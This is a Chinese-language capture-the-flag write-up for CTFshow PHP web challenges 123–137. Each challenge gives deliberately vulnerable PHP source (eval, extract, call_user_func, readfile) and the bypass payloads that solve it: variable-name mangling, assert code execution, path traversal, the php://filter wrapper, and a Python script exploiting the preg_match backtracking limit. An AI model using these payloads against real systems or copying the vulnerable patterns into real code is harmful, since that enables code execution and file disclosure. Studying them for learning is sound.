前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CTFshow之webPHP特性下

CTFshow之webPHP特性下

作者头像
十二惊惶
发布2024-02-28 20:24:43
1850
发布2024-02-28 20:24:43
举报

因为之前时间的关系CTFshow的内容很多专题是做了一半,现在是把那些没做完的内容补上。

[TOC]

Web123

代码语言:javascript
复制
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

所以如果我们直接传CTF_SHOW.COM是会被转换成CFT_SHOW_COM的,绕过的话这里要利用它的判定规则,当变量名中存在两个不合法字符时,只转换前面的那一个。[和.并存时,会转换前面的[,而[转换之后恰好为_,从而可以绕过。

Web125

代码语言:javascript
复制
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

$argv:传递给脚本的参数数组

Web126

代码语言:javascript
复制
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
} 

源代码第六行使用 isset 语句判断,所以我们需要定义 CTF_SHOW ,CTF_SHOW.COM,但是不能声明fl0g,但是后面的判断中fl0g===”flag_give_me”才能得到flag,这里就需要我们通过 CTF_SHOW ,CTF_SHOW.COM两个参数绕过。

assert函数 bool assert ( mixed assertion [, Throwable exception ] ) , eval和assert都可以将字符当作代码执行,只不过assert不需要严格遵从语法,比如语句末尾的分号可不加。

代码语言:javascript
复制
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

Web127

代码语言:javascript
复制
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}
if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}
if($ctf_show==='ilove36d'){
    echo $flag;
} 

extract抽取函数:通常情况结合数组使用,?ctf_show=ilove36d但是下划线被过滤了,这里又一次用到了上面讲到的内容,当变量名中存在会将其转化为_ 空格是经典的非法参数,我们就可以用%20进行绕过

Web128

代码语言:javascript
复制
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

Web129

代码语言:javascript
复制
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

stripos() 函数查找字符串在另一字符串中第一次出现的位置 ,readfile() 函数输出一个文件。同时stripos($f, ‘ctfshow’)>0说明ctfshow不能放在首部。

这道题解法也有不少,比如目录穿越 ?f=/ctfshow/../../../../../var/www/html/flag.php 再比如filter伪协议,?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php 甚至我们可以 ?f=./ctfshow/../flag.php 先进入名为ctfshow的下级文件夹在穿越回去,这个跟第一个本质上是一样的…..

Web130

代码语言:javascript
复制
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}

直接绕过正则表达式: f=ctfshow

.表示任意单个字符,+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复,所以在ctfshow前面必须有至少一个字符,才会返回true。所以才有了直接f=ctfshow。

这一道题也可以通过数组绕过,因为stripos函数无法处理数组, 可以直接传f[]=1,

Web131

代码语言:javascript
复制
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}

可以利用回溯限制来绕过。

当回溯的次数绕过了25万是preg_match返回的非1和0,而是false,所以可以绕过preg_match函数。这里ctfshow提供的wp不知道为什么我做不出来……

这边利用回溯限制来绕过,当回溯的次数绕过了25万是preg_match返回的非1和0,而是false,所以可以绕过preg_match函数。

代码语言:javascript
复制
import requests
url='http://8d380352-394f-4754-8bde-5c906930bcd2.challenge.ctf.show/'
data={
    'f':'very'*250000+'ctfshow'
}
r=requests.post(url=url,data=data).text
print(r)

Web132

打开是一个网站,访问robots.txt得到/admin打开/admin获得题目。

代码语言:javascript
复制
<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];
    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        if($code == 'admin'){
            echo $flag;
        }
    }
}

对于(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于或(||) 运算 : x||y 当x为true时,直接跳过,不执行y ,同时与运算的优先级要高于或运算,所以我们只需要满足第三个条件就行。

?username=admin&password=admin&code=admin

Web137

代码语言:javascript
复制
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }static function getFlag(){
        echo file_get_contents("flag.php");
    }
}call_user_func($_POST['ctfshow']);

考察调用类中的函数 call_user_func()–第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

代码语言:javascript
复制
ctfshow=ctfshow::getFlag
#php中 ->与:: 调用类中的成员的区别,->用于动态语境处理某个类的某个实例,::可以调用一个静态的、不依赖于其他初始化的类方法。
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-07-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Web123
  • Web125
  • Web126
  • Web127
  • Web128
  • Web129
  • Web130
  • Web131
  • Web132
  • Web137
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档